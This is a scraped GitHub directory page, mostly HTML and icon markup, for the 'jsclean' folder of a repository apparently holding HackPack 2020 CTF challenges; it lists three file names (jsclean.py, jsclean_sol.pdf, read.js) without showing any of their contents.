.75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> dosxuz </span> <span>/</span> Hackpack2020 <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/dosxuz/Hackpack2020/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":260132292,"originating_url":"https://github.com/dosxuz/Hackpack2020/tree/master/jsclean","user_id":null}}" data-hydro-click-hmac="d15902302b1a475c14561deda4e90a8846e3d55067c895774cb76b36561d1fb0"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/dosxuz/Hackpack2020/refs" cache-key="v0:1588228716.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZG9zeHV6L0hhY2twYWNrMjAyMA==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/dosxuz/Hackpack2020/refs" cache-key="v0:1588228716.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZG9zeHV6L0hhY2twYWNrMjAyMA==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>Hackpack2020</span></span></span><span>/</span>jsclean<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>Hackpack2020</span></span></span><span>/</span>jsclean<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/dosxuz/Hackpack2020/tree-commit/147f2fe431fcd9fdca1c009e49a58d84c52aa7ef/jsclean" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/dosxuz/Hackpack2020/file-list/master/jsclean"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>jsclean.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>jsclean_sol.pdf</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>read.js</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 